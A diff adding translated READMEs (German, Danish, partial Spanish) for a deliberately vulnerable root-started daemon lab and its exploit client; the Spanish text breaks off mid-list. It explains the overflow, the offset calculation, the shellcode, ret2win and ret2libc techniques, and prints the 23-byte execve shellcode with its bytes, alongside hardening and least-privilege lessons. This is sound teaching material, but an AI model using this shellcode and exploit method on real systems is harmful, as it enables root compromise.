## So inspizierst du den Daemon (Lernpfad)
|
||||
|
||||
```
|
||||
make status # läuft er? als welche uid? Dateimodus wird gezeigt
|
||||
make run-root # oder run / run-root-ns
|
||||
./foowosc -t leak # sieh das Banner und die Leaks, sende nichts
|
||||
./foowosc -t demo # Müll-Overflow -> SIGSEGV, geloggt mit RIP/rsp
|
||||
./foowosc -t shellcode # die interaktive Root-Shell
|
||||
make test-root # volle Matrix, alle Techniken, --must-root
|
||||
```
|
||||
|
||||
Crash-Reporter: Bei SIGSEGV loggt der Daemon die Fehleradresse, RIP und RSP.
|
||||
Ein `ret` in eine nicht-kanonische `0x4141…` fault am `ret` selbst (RIP wie
|
||||
`0x4028xx`, `si_addr=(nil)`) — wissenswert, bevor du eine Log-Zeile als
|
||||
NULL-Deref fehlliest.
|
||||
|
||||
---
|
||||
|
||||
## Warum der Shellcode 23 Bytes sind, nicht 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
Das SUID-Labor braucht `setreuid(0,0)` davor. Dieses Labor nicht, aus dem
|
||||
Grund, der überall wiederholt wird: **ruid ist bereits 0**, weil root den
|
||||
Prozess gestartet hat. `make verify` beweist, dass die Bytes in `foowosc.c`
|
||||
Byte für Byte das sind, was `shellcode.S` assembliert.
|
||||
|
||||
---
|
||||
|
||||
## Gegenmaßnahmen — was `make hardened` ändert
|
||||
|
||||
Gehärteter Build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||
|
||||
| Technik | angreifbares `foowosd` | gehärtetes `foowosd_hardened` |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | root-Shell (ausführbarer Stack) | SIGSEGV bei der Canary-Prüfung / NX |
|
||||
| `ret2win` / `ret2libc` | root-Shell | Canary bricht `ret` ab — aber Achtung: ein *PIE*-Build macht diese Adressen auch zufällig |
|
||||
| `demo` | SIGSEGV, geloggt | SIGSEGV, geloggt |
|
||||
|
||||
`make test-hardened` demonstriert das live. Die wichtige Beobachtung ist nicht
|
||||
nur, dass die Gegenmaßnahmen die Techniken getötet haben — es ist, dass sie
|
||||
den Daemon **nicht** „nicht-root" gemacht haben. Ein gehärteter Build, der
|
||||
immer noch als root *gestartet* wird, ist immer noch ein Root-Daemon; die
|
||||
Gegenmaßnahme erhöht nur die Latte für den Angreifer. Least Privilege
|
||||
(`drop_privs()`) und Speichersicherheit sind zwei verschiedene Bugs, und ein
|
||||
Daemon, der root nicht braucht, sollte es nicht haben.
|
||||
|
||||
---
|
||||
|
||||
## Sicherheitsleitplanken (gleiche Politik wie das SUID-Labor)
|
||||
|
||||
- **Nur Loopback.** foowosd weigert sich, etwas anderes als `127.0.0.1` /
|
||||
`localhost` / `::1` zu binden, sofern du nicht `-L` übergibst. Ein
|
||||
Root-Daemon auf einer echten Schnittstelle ist ein *entfernter* Root-Dienst.
|
||||
`-L` dient nur dazu, den Wächter zu zeigen; verwende es nicht auf irgendetwas,
|
||||
das wichtig ist.
|
||||
- **Der Zustand wird laut geloggt.** Beim Start druckt es `ruid/euid` und ob
|
||||
dies ein Root-Prozess ist, sodass du immer weißt, welches Exploit-Ergebnis
|
||||
zu erwarten ist.
|
||||
- **Urteile kommen aus Exit-Status** in `make test*` (dem Rückgabecode der
|
||||
pty-Harness), nie aus dem Greppen ihrer stdout-Ausgabe — greppbare Ausgabe
|
||||
lügt.
|
||||
- **pty muss cooked + ECHO off laufen**, sonst spiegelt die Harness ihre eigene
|
||||
Befehlszeile zurück und fälscht den Marker. Die Harness schaltet ECHO aus und
|
||||
lässt ECHONL an.
|
||||
- **Aufräumritual:** `make stop` nach jeder Session. Wenn der Daemon
|
||||
root-gehörig ist, sagt dir `stop`, dass du `sudo pkill -x foowosd` ausführen
|
||||
sollst.
|
||||
- Führe dies nie auf einem Host aus, der dir wichtig ist. Es existiert, um
|
||||
`uid=0`-Shells über die Loopback-Schnittstelle auszugeben.
|
||||
|
||||
---
|
||||
|
||||
## Übungen
|
||||
|
||||
1. Führe `make run` (User-Daemon) aus, dann `./foowosc -t shellcode`. Warum
|
||||
ist die Shell nicht root? (Prüfe `ids=` im Banner — foowosc sagt es dir,
|
||||
bevor du dich überhaupt verbindest.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Erkläre anhand der
|
||||
Banner-Zeile, warum alle vier Techniken jetzt `uid=0(root)` ergeben.
|
||||
3. Finde in `foowosd.c` `drop_privs()` und lies, *warum die Reihenfolge* von
|
||||
`setgroups → setgid → setuid` zählt. Entscheide, wo in `main()` es
|
||||
hingehören würde, und was aus der Angriffsfläche des Labors wird, sobald es
|
||||
tatsächlich aufgerufen wird.
|
||||
4. Berechne `rip_off` von Hand aus `objdump -d foowosd`: finde `buf`s
|
||||
`lea -0xNN(%rbp)` in `vulnerable_handler`, dann `NN + 8`. foowosc macht
|
||||
genau das; prüfe seine Rechnung gegen deine eigene.
|
||||
5. `make hardened && make test-hardened`. Welche Technik erliegt dem Canary und
|
||||
welche NX? Warum ändert Härten nicht, was `make status` über den *Prozess*
|
||||
meldet?
|
||||
6. Vergleiche die Shellcodes der beiden Labore: 23 Bytes hier, 32 für foosd.
|
||||
Was tun die zusätzlichen 9 Bytes, und warum werden sie nur im SUID-Fall
|
||||
gebraucht?
|
||||
7. Lies `become_shell()`s Kommentar über den einzelnen Read-Cursor. Stelle den
|
||||
Ausfallmodus gedanklich nach: zwei Leser an einem Socket bedeuten, dass die
|
||||
Login-Shell ein Byte pro Block frisst — „uid=1000…" kommt als „id=1000…" an.
|
||||
Warum kann ein Relay-Prozess diesen Bug nie haben?
|
||||
|
||||
---
|
||||
|
||||
## Dateien
|
||||
|
||||
```
|
||||
foowosd.c der angreifbare Root-Daemon (jede Zeile kommentiert)
|
||||
foowosc.c der Exploit (jede Zeile kommentiert)
|
||||
shellcode.S Referenz-Assembly für den 23-Byte-Payload
|
||||
tests/pty_wosuid_test.c die pty-Harness (Marker + strenge id-Form-Prüfungen)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Schwester-Labore: `../food.c`/`../fooc.c` (User-Level-Baseline, Port 2342) und
|
||||
`../suid/` (SUID-Root-Daemon `foosd`/`foosc`, Port 2343). Die Ports sind
|
||||
bewusst verschieden — du kannst alle drei gleichzeitig laufen lassen und ihre
|
||||
`ids=`-Zeilen im Banner gegeneinander prüfen.
|
||||
309
wosuid/README.DK.md
Normal file
309
wosuid/README.DK.md
Normal file
|
|
@ -0,0 +1,309 @@
|
|||
# `wosuid`-laboratoriet — root-RCE **uden** setuid-bit
|
||||
|
||||
```
|
||||
foowosd en bevidst sårbar daemon, der er root, fordi den blev *STARTET* som
|
||||
root (port 2344, kun loopback som standard)
|
||||
foowosc exploitet: forvandler et stack-overløb til en **root**-shell ved at
|
||||
udføre shellcode — de samme 23 bytes, der knækkede user-level-
|
||||
`food`-daemonen i det overordnede laboratorium
|
||||
```
|
||||
|
||||
Det er det tredje laboratorium i serien. Samme exploit-værktøjskæde, samme
|
||||
stil, én fundamental forskel:
|
||||
|
||||
| Laboratorium | hvordan target-processen bliver root | `uid=0(root)`-shell? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc| aldrig — det er en almindelig user-daemon | nej |
|
||||
| foosd/foosc | SUID-bitten (`chmod u+s`) — euid 0, ruid 1000 | ja (kræver `setreuid` i shellcoden, fordi bash nulstiller euid→ruid) |
|
||||
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (almindelig `execve`-shellcode)** |
|
||||
|
||||
Setuid-bitten er et *transportmiddel* for privilegier — ikke privilegierne
|
||||
selv. En daemon startet af root har reelle, effektive og gemte uid alle lig 0.
|
||||
For kernen er det root, punktum; den kan og vil ikke vide, om processen kom
|
||||
derhen via `+s` på en fil eller via `sudo ./foowosd`. Overløbet i en
|
||||
root-started daemon er altså et root-exploit — *"jeg har ingen
|
||||
SUID-binærfiler" er ikke det samme som "jeg er ikke udnyttelig".*
|
||||
|
||||
Det er hele lektionen i dette laboratorium. Alt herunder er maskineriet.
|
||||
|
||||
---
|
||||
|
||||
## Hurtig start (hvad brugeren bad om)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # bygger daemonen, exploitet og test-harnessen
|
||||
```
|
||||
|
||||
### Det ægte — kør daemonen som **root**
|
||||
|
||||
```
|
||||
sudo make run-root # starter foowosd som uid 0 (proces, ikke filtilstand)
|
||||
make test-root # hver teknik skal nu give uid=0(root)
|
||||
```
|
||||
|
||||
### Ikke sudo? Den identiske kernel-sti via en user-namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 i en user-namespace — ingen adgangskode nødvendig
|
||||
make test-root # samme domme; bruges af CI og alle uden sudo
|
||||
```
|
||||
|
||||
### Baseline — daemon som din normale bruger (intet root nogen steder)
|
||||
|
||||
```
|
||||
make run # foowosd kører med dine uider
|
||||
make test # exploits lander shells, men `root` forventes MISSING
|
||||
```
|
||||
|
||||
### Oprydningsritual (altid: dette er et root-shell-laboratorium)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` er *ikke* setuid, og intet i dette bibliotek laver nogensinde
|
||||
`chmod +s` — det er pointen. Den farlige tilstand er **processen**, ikke
|
||||
filen.
|
||||
|
||||
---
|
||||
|
||||
## Når du bliver bedt om at sætte SUID-bitten
|
||||
|
||||
Det kommer du **ikke** til. Dette laboratorium har bevidst ingen SUID-bit:
|
||||
|
||||
- `foowosd` bygges, ejes og har almindelige tilstande som ethvert andet program.
|
||||
- Det bliver root, som rigtige daemoner gør — ved at blive *startet* af root.
|
||||
- `make run-root` bruger `sudo` til præcis det, og `make run-root-ns` får en
|
||||
ægte uid-0-proces helt uden noget af det.
|
||||
|
||||
Suid-bitten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellem de to
|
||||
er pensum:
|
||||
|
||||
1. SUID-laboratoriet: bitten giver **euid 0, men ruid 1000** →
|
||||
`execve("/bin/sh")` nedgraderes af bashs vagt (`euid != ruid` → reset) →
|
||||
shellcoden må først kalde `setreuid(0,0)` (32-byte-payload).
|
||||
2. Dette laboratorium: root **starter** processen → **ruid == euid == 0** →
|
||||
vagten har intet at nulstille → den almindelige 23-byte `execve`-shellcode
|
||||
beholder root.
|
||||
|
||||
Samme overløb. Samme teknik. Forskellig *oprindelse* af privilegier, anderledes
|
||||
payload-form. Det er lektionen i miniature.
|
||||
|
||||
---
|
||||
|
||||
## Protokollen
|
||||
|
||||
Uanset hvilken slags klient der forbinder, hilser foowosd på den med:
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
|
||||
BUF=0x7ffd… (bufferadressen)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` er *"er jeg root?"*-sidekanalen. foowosc printer en høj
|
||||
advarsel, når euid ikke er 0 (dvs. du startede daemonen som en almindelig
|
||||
bruger): payloaden lander stadig, men shellen bliver en bruger-shell, og at
|
||||
kalde exploitet "i stykker" ville være forkert — det eskalerer bare ikke.
|
||||
|
||||
> Staveform-bemærkning: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser et
|
||||
> levende `id` ved at matche den bogstavelige form `uid=NNN(`, så banneret må
|
||||
> aldrig indeholde en delstreng, der selv opfylder tjekket. (I SUID-laboratoriet
|
||||
> producerede præcis den fælde et spektakulært falsk positivt.)
|
||||
|
||||
---
|
||||
|
||||
## Exploit-teknikkerne (`foowosc -t …`)
|
||||
|
||||
Alle fire exploit-stier nedenfor virker mod foowosd. Når daemonen er root,
|
||||
giver **alle, der spawner noget, root** — i modsætning til SUID-laboratoriet,
|
||||
hvor ret2win/ret2libc stille og roligt blev nedgraderet til uid 1000 af bashs
|
||||
vagt. Her er der intet mismatch at vogte mod.
|
||||
|
||||
| `-t` | hvad der sker | når daemonen er root |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kører på stacken. | **root-shell** (standard) |
|
||||
| `ret2win` | hop til `win()` → `execl("/bin/sh")` | **root-shell** |
|
||||
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
|
||||
| `demo` | kun junk-overløb — forvent et SIGSEGV i daemon-loggen | nedbrud, efter design |
|
||||
| `leak` | printer bare leaks, sender ingen payload | n/a |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv session
|
||||
```
|
||||
|
||||
En vellykket interaktiv session videresender din terminal til shellen *på
|
||||
offeret* — der er præcis én shell i billedet, og det er `/bin/sh`, der kører
|
||||
som root inde i foowosd. Skriv `id` for at se `uid=0(root)`.
|
||||
|
||||
### Hvorfor der ikke er nogen `ret2win-root`-teknik her
|
||||
|
||||
foosc havde én — den hoppede til et `win_root()`, der kaldte `setreuid(0,0)`
|
||||
før exec, fordi en setuid-proces kørte med en reelle uid, der stadig sagde
|
||||
1000. En root-*startet* proces har den reelle uid allerede 0; der er intet at
|
||||
rydde, så den ekstra funktion og teknik ville ikke lære noget. Fjernet.
|
||||
|
||||
---
|
||||
|
||||
## Hvad foowosc gør, trin for trin
|
||||
|
||||
1. **Statisk analyse** — `objdump -d` af `./foowosd`. Finder
|
||||
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)`, der adresserer `buf`,
|
||||
og det første nøgne `ret`. Ud fra forskydningen beregner det
|
||||
`rip_off = 80 + 8 = 88`. Intet er hardkodet; det overlever en genbygning.
|
||||
2. **Selv-introspektion** — læser sit eget `/proc/self/maps` og `dlsym()`er
|
||||
`system`/`read` for at lære libc-*offsets*. Targetets libc-base er
|
||||
`leaked_read − off_read`, derefter `system = base + off_system`, osv. Denne
|
||||
delta-aritmetik er grunden til, at exploits overlever libc-versioner.
|
||||
3. **Forbind** — læser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||
4. **Byg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
|
||||
`rip_off`, derefter den gemte RIP = `buf` (så `ret` hopper ind på koden). For
|
||||
`ret2win`/`ret2libc`: adresser beregnet ud fra analysen — ingen udførelse af
|
||||
stacken nødvendig.
|
||||
5. **Justeringsfixen** — et kapret nøgent `ret` giver callee'en
|
||||
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-fault'er på en ikke-justeret
|
||||
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeget). foowosc
|
||||
indsætter ét ekstra `ret`-gadget før det rigtige target og genopretter
|
||||
invarianten. Silkehandsketeknik i et shellcode-laboratorium, men det er
|
||||
forskellen mellem en payload, der "nogle gange virker", og en, der altid
|
||||
virker.
|
||||
6. **Send, derefter videresend** — offerprocessen *er* shellen; denne proces
|
||||
splisser kun bytes. Ingen lokal shell, ingen anden læser — single-read-
|
||||
cursor-fejlen (ét spist byte per chunk) er dokumenteret i `become_shell()`.
|
||||
|
||||
---
|
||||
|
||||
## Daemonens bevidste fejl (alle i `foowosd.c`, alle ægte CWE-klasser)
|
||||
|
||||
| # | fejl | CWE | note |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` ind i et 64-byte stack-buffer | CWE-120 | overløbet: 448 bytes forbi `buf`, gemt RIP ved +88 |
|
||||
| 2 | kun `snprintf(line, …, "%.*s", …)`; men angriber-`%` i echo-stien | CWE-134 | leaket er her den reelle payload; et `%n` i en *root*-proces ville være write-what-where som root |
|
||||
| 3 | børn beholder root, mens de håndterer utroverdige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rækkefølge, med verifikation) står i filen, kommenteret, *bevidst aldrig kaldt* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` afsløret til enhver klient | CWE-200 | uden disse leaks kunne shellcode- og ret2libc-teknikkerne ikke beregne adresser (ASLR ville besejre dem) |
|
||||
|
||||
Handleren har præcis samme `buf[64]`/`read(512)`-form som de to andre
|
||||
laboratorier, så den fælles objdump-baserede erkendelsespipeline virker
|
||||
uændret.
|
||||
|
||||
---
|
||||
|
||||
## Sådan inspicerer du daemonen (læringssti)
|
||||
|
||||
```
|
||||
make status # kører den? som hvilken uid? filtilsand vises
|
||||
make run-root # eller run / run-root-ns
|
||||
./foowosc -t leak # se banneret og leaks, send intet
|
||||
./foowosc -t demo # junk-overløb -> SIGSEGV, logget med RIP/rsp
|
||||
./foowosc -t shellcode # den interaktive root-shell
|
||||
make test-root # fuld matrix, alle teknikker, --must-root
|
||||
```
|
||||
|
||||
Crash-reporter: Ved SIGSEGV logger daemonen fejladressen, RIP og RSP. Et `ret`
|
||||
ind i en ikke-kanonisk `0x4141…` fault'er ved `ret`-et selv (RIP som `0x4028xx`,
|
||||
`si_addr=(nil)`) — værd at vide, før du fejllæser en loglinje som en
|
||||
NULL-dereference.
|
||||
|
||||
---
|
||||
|
||||
## Hvorfor shellcoden er 23 bytes, ikke 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
SUID-laboratoriet har brug for `setreuid(0,0)` foran dette. Dette
|
||||
laboratorium ikke, af den grund der gentages overalt: **ruid er allerede 0**,
|
||||
fordi root startede processen. `make verify` beviser, at bytes i `foowosc.c`
|
||||
er byte-for-byte det, `shellcode.S` assemblerer til.
|
||||
|
||||
---
|
||||
|
||||
## Modforanstaltninger — hvad `make hardened` ændrer
|
||||
|
||||
Hærdet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||
|
||||
| teknik | sårbar `foowosd` | hærdet `foowosd_hardened` |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | root-shell (eksekverbar stack) | SIGSEGV ved canary-tjekket / NX |
|
||||
| `ret2win` / `ret2libc` | root-shell | canary abort'er `ret` — men bemærk: en *PIE*-build gør også disse adresser tilfældige |
|
||||
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
|
||||
|
||||
`make test-hardened` demonstrerer det live. Den vigtige observation er ikke
|
||||
bare, at modforanstaltningerne dræbte teknikkerne — det er, at de **ikke**
|
||||
gjorde daemonen til "ikke-root". En hærdet build, der stadig *startes* som
|
||||
root, er stadig en root-daemon; modforanstaltningen hæver kun barren for
|
||||
angriberen. Least privilege (`drop_privs()`) og hukommelsessikkerhed er to
|
||||
forskellige fejl, og en daemon, der ikke behøver root, bør ikke have det.
|
||||
|
||||
---
|
||||
|
||||
## Sikkerhedsgelændere (samme politik som SUID-laboratoriet)
|
||||
|
||||
- **Kun loopback.** foowosd nægter at binde andet end `127.0.0.1` /
|
||||
`localhost` / `::1`, medmindre du giver `-L`. En root-daemon på en rigtig
|
||||
grænseflade er en *fjern* root-tjeneste. `-L` findes kun for at vise vagten;
|
||||
brug den ikke på noget, der betyder noget.
|
||||
- **Tilstanden logges højt.** Ved start printer den `ruid/euid` og om dette er
|
||||
en root-proces, så du altid ved, hvilket exploit-resultat du skal forvente.
|
||||
- **Domme kommer fra exit-status** i `make test*` (pty-harnessens
|
||||
returkode), aldrig fra at greppe dens stdout — grebbart output lyver.
|
||||
- **pty'en skal køre cooked + ECHO off**, ellers ekkoer harnessen sin egen
|
||||
kommandolinje og forfalsker markøren. Harnessen slår ECHO fra og beholder
|
||||
ECHONL på.
|
||||
- **Oprydningsritual:** `make stop` efter hver session. Hvis daemonen er
|
||||
root-ejet, siger `stop` dig at køre `sudo pkill -x foowosd`.
|
||||
- Kør aldrig dette på en host, du holder af. Det findes for at uddele
|
||||
`uid=0`-shells over loopback-grænsefladen.
|
||||
|
||||
---
|
||||
|
||||
## Øvelser
|
||||
|
||||
1. Kør `make run` (user-daemon), derefter `./foowosc -t shellcode`. Hvorfor er
|
||||
shellen ikke root? (Tjek `ids=` i banneret — foowosc siger dig det, før du
|
||||
overhovedet forbinder.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Forklar ud fra
|
||||
bannerlinjen, hvorfor alle fire teknikker nu giver `uid=0(root)`.
|
||||
3. Find i `foowosd.c` `drop_privs()` og læs, *hvorfor rækkefølgen* af
|
||||
`setgroups → setgid → setuid` betyder noget. Beslut, hvor i `main()` den
|
||||
ville høre hjemme, og hvad laboratoriets angrebsflade bliver, når den
|
||||
faktisk kaldes.
|
||||
4. Beregn `rip_off` i hånden ud fra `objdump -d foowosd`: find `buf`s
|
||||
`lea -0xNN(%rbp)` inde i `vulnerable_handler`, derefter `NN + 8`. foowosc
|
||||
gør præcis det; tjek dens regnestykke mod dit eget.
|
||||
5. `make hardened && make test-hardened`. Hvilken teknik falder for canaryen,
|
||||
og hvilken for NX? Hvorfor ændrer hærdning ikke, hvad `make status`
|
||||
rapporterer om *processen*?
|
||||
6. Sammenlign de to laboratoriers shellcodes: 23 bytes her, 32 for foosd. Hvad
|
||||
gør de ekstra 9 bytes, og hvorfor behøves de kun i SUID-tilfældet?
|
||||
7. Læs `become_shell()`s kommentar om den enkelte læse-cursor. Genskab
|
||||
fiaskotilstanden mentalt: to læsere på én socket betyder, at login-shellen
|
||||
æder ét byte per chunk — "uid=1000…" ankommer som "id=1000…". Hvorfor kan en
|
||||
relay-proces aldrig have denne fejl?
|
||||
|
||||
---
|
||||
|
||||
## Filer
|
||||
|
||||
```
|
||||
foowosd.c den sårbare root-daemon (hver linje kommenteret)
|
||||
foowosc.c exploitet (hver linje kommenteret)
|
||||
shellcode.S reference-assembly for 23-byte-payloaden
|
||||
tests/pty_wosuid_test.c pty-harnessen (markør + strenge id-form-tjek)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
|
||||
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevidst
|
||||
forskellige — du kan køre alle tre på én gang og krydstjekke deres `ids=`-linjer
|
||||
i banneret.
|
||||
318
wosuid/README.ES.md
Normal file
318
wosuid/README.ES.md
Normal file
|
|
@ -0,0 +1,318 @@
|
|||
# El laboratorio `wosuid` — RCE root **sin** bit setuid
|
||||
|
||||
```
|
||||
foowosd un demonio deliberadamente vulnerable que es root porque fue
|
||||
*INICIADO* como root (puerto 2344, solo loopback por defecto)
|
||||
foowosc el exploit: convierte un desbordamiento de pila en un **shell**
|
||||
root ejecutando shellcode — los mismos 23 bytes que rompieron el
|
||||
demonio user-level `food` del laboratorio principal
|
||||
```
|
||||
|
||||
Este es el tercer laboratorio de la serie. La misma cadena de herramientas de
|
||||
exploit, el mismo estilo, una diferencia fundamental:
|
||||
|
||||
| Laboratorio | cómo el proceso objetivo se vuelve root | ¿shell `uid=0(root)`? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc | nunca — es un demonio de usuario normal | no |
|
||||
| foosd/foosc | el bit SUID (`chmod u+s`) — euid 0, ruid 1000 | sí (exige `setreuid` en el shellcode, porque bash resetea euid→ruid) |
|
||||
| **foowosd/foowosc** | **ninguno — root *inicia* el demonio** (sudo / systemd `User=root`) | **sí (shellcode `execve` normal)** |
|
||||
|
||||
El bit setuid es un *medio de transporte* de privilegios — no los privilegios
|
||||
mismos. Un demonio iniciado por root tiene uids real, efectivo y guardado todos
|
||||
iguales a 0. Para el kernel es root, punto; no puede ni quiere saber si el
|
||||
proceso llegó ahí vía `+s` en un archivo o vía `sudo ./foowosd`. El
|
||||
desbordamiento de un demonio iniciado por root es por tanto un exploit root —
|
||||
*"no tengo binarios SUID" no es lo mismo que "no soy explotable".*
|
||||
|
||||
Esa es toda la lección de este laboratorio. Todo lo demás es el mecanismo.
|
||||
|
||||
---
|
||||
|
||||
## Inicio rápido (lo que pidió el usuario)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # compila el demonio, el exploit y el harness de prueba
|
||||
```
|
||||
|
||||
### Lo auténtico — ejecuta el demonio como **root**
|
||||
|
||||
```
|
||||
sudo make run-root # inicia foowosd como uid 0 (proceso, no estado de archivo)
|
||||
make test-root # cada técnica debe dar ahora uid=0(root)
|
||||
```
|
||||
|
||||
### ¿Sin sudo? El camino de kernel idéntico vía un user namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 en un user namespace — no se necesita contraseña
|
||||
make test-root # los mismos veredictos; lo usa la CI y todo el que no tenga sudo
|
||||
```
|
||||
|
||||
### Referencia — demonio como tu usuario normal (root en ninguna parte)
|
||||
|
||||
```
|
||||
make run # foowosd corre con tus uids
|
||||
make test # los exploits aterrizan shells, pero se espera que `root` sea MISSING
|
||||
```
|
||||
|
||||
### Rito de limpieza (siempre: esto es un laboratorio de shell root)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` *no* es setuid, y nada en este directorio hace nunca `chmod +s` —
|
||||
ese es el punto. El estado peligroso es **el proceso**, no el archivo.
|
||||
|
||||
---
|
||||
|
||||
## Cuando te digan que pongas el bit SUID
|
||||
|
||||
No te lo van **a** decir. Este laboratorio no tiene deliberadamente ningún bit
|
||||
SUID:
|
||||
|
||||
- `foowosd` se compila, te pertenece y tiene permisos normales como cualquier
|
||||
otro programa.
|
||||
- Se vuelve root como hacen los demonios reales — siendo *iniciado* por root.
|
||||
- `make run-root` usa `sudo` para exactamente eso, y `make run-root-ns`
|
||||
consigue un proceso uid 0 real sin nada de eso.
|
||||
|
||||
El bit Suid pertenece al laboratorio *hermano* (`foosd`). El contraste entre los
|
||||
dos es el plan de estudios:
|
||||
|
||||
1. Laboratorio SUID: el bit da **euid 0, pero ruid 1000** → `execve("/bin/sh")`
|
||||
es degradado por el guardián de bash (`euid != ruid` → reset) → el shellcode
|
||||
debe llamar primero a `setreuid(0,0)` (payload de 32 bytes).
|
||||
2. Este laboratorio: root **inicia** el proceso → **ruid == euid == 0** → el
|
||||
guardián no tiene nada que resetear → el shellcode `execve` normal de 23
|
||||
bytes conserva root.
|
||||
|
||||
El mismo desbordamiento. La misma técnica. *Origen* de privilegios diferente,
|
||||
forma de payload distinta. Esa es la lección en miniatura.
|
||||
|
||||
---
|
||||
|
||||
## El protocolo
|
||||
|
||||
Sea cual sea el tipo de cliente que se conecta, foowosd lo saluda con:
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (el banner + las fugas)
|
||||
BUF=0x7ffd… (la dirección del búfer)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` es el canal *"¿soy root?"*. foowosc imprime una advertencia
|
||||
fuerte cuando euid no es 0 (es decir, iniciaste el demonio como usuario
|
||||
normal): el payload sigue aterrizando, pero el shell se convierte en un shell
|
||||
de usuario, y llamar al exploit "roto" sería falso — solo que no escala.
|
||||
|
||||
> Nota ortográfica: `ids=`, no `euid=`/`ruid=`. El harness de prueba prueba un
|
||||
> `id` vivo haciendo match de la forma literal `uid=NNN(`, así que el banner
|
||||
> nunca debe contener una subcadena que satisfaga ella misma la comprobación.
|
||||
> (En el laboratorio SUID, exactamente esa trampa produjo un falso positivo
|
||||
> espectacular.)
|
||||
|
||||
---
|
||||
|
||||
## Las técnicas de exploit (`foowosc -t …`)
|
||||
|
||||
Las cuatro rutas de exploit de abajo funcionan contra foowosd. Cuando el demonio
|
||||
es root, **todo lo que hace spawn de algo da root** — a diferencia del
|
||||
laboratorio SUID, donde ret2win/ret2libc eran degradados silenciosamente a uid
|
||||
1000 por el guardián de bash. Aquí no hay desajuste que vigilar.
|
||||
|
||||
| `-t` | qué ocurre | cuando el demonio es root |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 bytes corre en la pila. | **shell root** (por defecto) |
|
||||
| `ret2win` | salto a `win()` → `execl("/bin/sh")` | **shell root** |
|
||||
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
|
||||
| `demo` | solo desbordamiento de basura — espera un SIGSEGV en el log del demonio | crash, por diseño |
|
||||
| `leak` | solo imprime fugas, no envía payload | n/a |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interactivo; objetivo por defecto 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # enviar y reportar, sin sesión interactiva
|
||||
```
|
||||
|
||||
Una sesión interactiva exitosa retransmite tu terminal al shell *en la víctima*
|
||||
— hay exactamente un shell en el cuadro, y es `/bin/sh` corriendo como root
|
||||
dentro de foowosd. Escribe `id` para ver `uid=0(root)`.
|
||||
|
||||
### Por qué no hay una técnica `ret2win-root` aquí
|
||||
|
||||
foosc tenía una — saltaba a un `win_root()` que llamaba a `setreuid(0,0)`
|
||||
antes del exec, porque un proceso setuid corría con un uid real que todavía
|
||||
decía 1000. Un proceso *iniciado* por root ya tiene el uid real en 0; no hay
|
||||
nada que limpiar, así que la función y la técnica extra no enseñarían nada.
|
||||
Eliminada.
|
||||
|
||||
---
|
||||
|
||||
## Qué hace foowosc, paso a paso
|
||||
|
||||
1. **Análisis estático** — `objdump -d` de `./foowosd`. Encuentra
